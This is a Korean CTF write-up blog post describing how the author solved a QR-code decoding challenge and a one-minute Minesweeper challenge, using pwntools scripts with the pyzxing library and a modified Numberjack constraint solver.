qrcode를 디코딩할 수 있는 파이썬 모듈에는 여러가지가 있었다.

 

먼저 qrtools.

 

$sudo pip3 install qrtools

 

      qr = qrtools.QR()

AttributeError: module 'qrtools' has no attribute 'QR'

 

음? (오류 1스택)

파이썬 2로 다시시도..

 

 

$sudo pip install qrtools

 

import qrtools
ImportError: No module named qrtools

 

??????? (오류 2스택)

 

다음 시도한 것이 qrcode

 

 d = qrcode.Decoder()
AttributeError: module 'qrcode' has no attribute 'Decoder'

 

문서에서는 이렇게 쓰라고 나와있었는데 뭐지..(오류 3스택)

 

 

pyzbar를 사용해볼까

>>> decode(img)
[]

 

도대체 되는게 뭡니까(오류 4스택)

 

 

$ sudo pip3 install pyqrcode

$ sudo apt-get install python-qrtools

 

>>> import pyqrcode
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named pyqrcode
(오류 5스택)

 

>>> import qrtools

>>> qr = qrtools.QR()

>>> qr.decode("./TransparentImage.png")
False

(오류 6스택)

 

AttributeError: module 'pyqrcode' has no attribute 'Decoder'

(오류 7스택)

 

 

...

 

웹으로 해결할까 생각이 들어서 테스트때 디코딩에 성공했던 ZXng Decode Online에 들어가봤다.

 

https://zxing.org/w/decode.jspx

 

ZXing Decoder Online

 

zxing.org

하단 내용을 보면 오픈소스 프로젝트라고 써있다.

 

혹시 파이썬 모듈도 있나 들어가봤다.

 

pyzxing Python wrapper to ZXing library

 

있다.

 

바로 설치.

 

>>> from pyzxing import BarCodeReader

>>> reader = BarCodeReader()

>>> results = reader.decode( './TransparentImage.png')

>>> results
[{'filename': 'file:///home/mandu/Desktop/p/./TransparentImage.png', 'format': 'QR_CODE', 'type': 'TEXT', 'raw': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'parsed': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'points': [(3.5, 49.5), (3.5, 3.5), (49.5, 3.5), (46.5, 46.5)]}]
>>> results[0]['raw']
'0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J'

 

성공.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from PIL import Image
from pyzxing import BarCodeReader
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
for n in range(100):
    img = Image.open('./200.png')
    img = img.convert("RGB")
    newData = []
 
    qrbin = [0* 200
    p.recvuntil('< QR >\n')
    for i in range(200):
        data = str(p.recvline())
        data = data.replace("b'""")
        data = data.replace("\\n'""")
        data = data.replace(" """)
        if data == "":
            print(p.recvline())
            break
        qrbin[i] = data
 
    for x in range(len(qrbin)):
        if qrbin[x] == 0:
            break
        for y in range(len(str(qrbin[x]))):
            if qrbin[x][y] == "1":
                img.putpixel( (x, y), (000))
 
    img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
    reader = BarCodeReader()
    results = reader.decode('./dimg/TransparentImage'+str(n)+'.png')
    print(results[0]['raw'])
 
    p.sendline(results[0]['raw'])
 
p.interactive()
 
cs

 

 

 

 

 

 

 


Minesweeper

Can you solve the minesweeper in one minute?

 

 

1분안에 지뢰찾기를 성공하면 되는 문제.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
Type the column followed by the row (eg. a5). To put or remove a flag, add 'f' to the cell (eg. a5f). Type 'help' to show this message again.
 
Enter the cell (40 mines left): 
 
cs

 

이런식으로 칸이 주어지고, a1을 입력하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 | 0 | 1 | 2 | 2 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
cs

주변 3*3범위에 폭탄의 개수를 알려준다.

 

지뢰의 위치에는 깃발을 꽂아야 한다. 저기서는 C4자리에 폭탄이 있으니 c4f를 입력해주어야 한다.

다음으로 지뢰가 없는 c5를 입력하여 나아가도록 한다.

 

이 과정을 자동화 하자.

 

 

http://www.hakank.org/numberjack/minesweeper.py

구글링 해서 찾아낸 지뢰찾기 솔버.

 

사용을 위해서 Numberjack 모듈을 설치해준다.

https://github.com/eomahony/Numberjack

 

eomahony/Numberjack

Python Combinatorial Optimisation Platform. Contribute to eomahony/Numberjack development by creating an account on GitHub.

github.com

X = -1

default_game = [
            [2,3,X,2,2,X,2,1],
            [X,X,4,X,X,4,X,2],
            [X,X,X,X,X,X,4,X],
            [X,5,X,6,X,X,X,2],
            [2,X,X,X,5,5,X,2],
            [1,3,4,X,X,X,4,X],
            [0,1,X,4,X,X,X,3],
            [0,1,2,X,2,3,X,2]
            ]

이렇게 지뢰찾기 배열을 넘겨주면

0 0 1 0 0 1 0 0 
1 1 0 0 1 0 1 0 
0 0 1 1 0 1 0 1 
1 0 1 0 1 1 0 0 
0 1 1 1 0 0 1 0 
0 0 0 0 1 1 0 1 
0 0 1 0 1 0 1 0 
0 0 0 1 0 0 1 0 
Nodes: 3  Time: 0.0

 

0: 지뢰없음 1: 지뢰있음 으로 결과를 출력해준다. 확실하지 않은 곳은 확률을 반환해준다. 이것을 개조했다.

 

문제에 아무 위치 한곳을 입력해주고 그 출력값을 위 코드로 분석하여 확실한 지뢰가 아닌 곳(0)과 지뢰인 곳(1)을 구해낼 수 있다. 지뢰인 곳에는 flag를 세우고 지뢰가 아닌 곳은 입력해서 주변 값들도 알아낸다.

 

이제 다시 맵의 결과값을 바탕으로 위 루틴을 전체를 구해낼 때까지 돌린다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/python
"""
This Numberjack model was created by
Hakan Kjellerstrand (hakank@bonetmail.com)
 
See also my Numberjack page http://www.hakank.org/numberjack/
"""
import sys
from Numberjack import *
 
from pwn import *
 
colNum = "abcdefghijklmnop"
 
= -1
alreadyInput = [[0 for ccccc in range(16)] for ddddd in range(16)]
row = [['0' for cola in range(16)] for rowa in range(16)]
gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
= remote("minesweeper.ctf.defenit.kr"3333)
p.recvuntil(':')
p.sendline('h7'#중앙을 파면 한 번에 많은 위치를 분석할 수 있지 않을까
 
default_game = gamerow
default_r = 16
default_c = 16
 
#
# Solve the Minesweeper problem
#
def minesweeper(libs, game="", r="", c=""):
 
    # Set default problem
    if game == "":
        game = default_game
        r = default_r
        c = default_c
    else:
        print "rows:", r, " cols:", c
 
    #
    # Decision variables
    # Note: Matrix is defined with cols,rows,...
    #
    mines = Matrix(c,r,0,1)
 
    S = [-1,0,1]  # for the neighbors of this cell
 
    model = Model()
 
    for i in range(r):
        for j in range(c):
            if game[i][j] >= 0:
                model.add(mines[i,j] == 0)
                # this cell is the sum of all the surrounding cells
                model.add(
                    game[i][j] == Sum([mines[i+a,j+b]
                                       for a in S for b in S
                                       if i+a>=0 and
                                          j+b>=0 and
                                          i+a<r  and
                                          j+b<c
                                       ])
                    )
            if game[i][j] > X:
                # This cell cannot be a mine
                model.add(mines[i,j] == 0)
 
    # print model
 
 
    for library in libs:
        solver = model.load(library)
        # print solver
        print ''
        if solver.solve():
            solver.printStatistics()
            print_mines(mines, r, c)
            print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
            #while library == 'Mistral' and solver.getNextSolution():
            #    print_mines(mines, r, c)
            #    print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
 
        else:
            print "No solution"
            p.interactive()
        print ''
 
#
# Print the mines
#
def print_mines(mines, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols): #이부분을 수정했다. 불확실한 곳은 ?표시
            if len(str(mines[i,j])) > 4:
                print "?",
            else : #확실
                print str(mines[i,j]),
                if str(mines[i,j]) == '1'#지뢰는 플래그를 세우자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+"f"+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+"f"+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
                elif str(mines[i,j]) == '0'#지뢰가 아니면 주변을 더 알아내자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
        print ''
 
def print_game(game, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols):
            if game[i][j] == -1:
                print "?"#모르거나 지뢰인 곳은 ?표시
            else :
                print game[i][j],
        print ''
 
 
# file = "minesweeper1.txt"
 
for aa in range(6): #루틴을 몇번 돌릴 것인지. 끝까지 돌리는게 최고지만 정확성이 떨어져서 적당히 맞춰줘야 했다.
    row = [['0' for cola in range(16)] for rowa in range(16)]
    gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    for i in range(16):
        data = p.recvline()
        row[i] = str(data).split('|')
        p.recvline()
        for j in range(117):
            try:
                if row[i][j] == '   ':
                    gamerow[i][j-1= -1;
                elif row[i][j] == ' F ':
                    alreadyInput[i][j-1= -1 #중복입력을 방지하기 위함. 깃발을 세웠다는건 여기를 더 이상 이 위치를 입력할 필요가 없다는 것
                else :
                    gamerow[i][j-1= int(row[i][j].strip());
                    alreadyInput[i][j-1= 1 #중복입력ㅇ르 방지하기 위함. 이곳의 값이 있다는건 더 이상 이 위치를 입력할 필요가 없다는
            except Exception as e:
                p.interactive()
 
 
    default_game = gamerow
    print_game(default_game, 1616)
    # minesweeper(['NumberjackSolver', 'Mistral'])
    minesweeper(['Mistral'])
    # minesweeper(['SCIP'])
    print "================================================="
    p.sendline("h7")
 
p.interactive()
 
cs

 

 

근데 solver가 완벽하지는 않다. 완벽한 지뢰 위치를 찾아주지 못한다. 그래서 중간에 game over가 나기도 한다.

그래서 약 6번의 루틴을 시도하게 하고, 코드를 수십번 돌려서 운좋게 165행 코드가 실행이 되면 약 3칸정도가 남는다. 이건 눈으로 보고 풀어서 flag를 받을 수 있었다.

 

 

It took you 0 minutes and 17 seconds.

You Win!!!
Defenit{min35w33p3r_i5_ezpz}

 

 

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22

+ Recent posts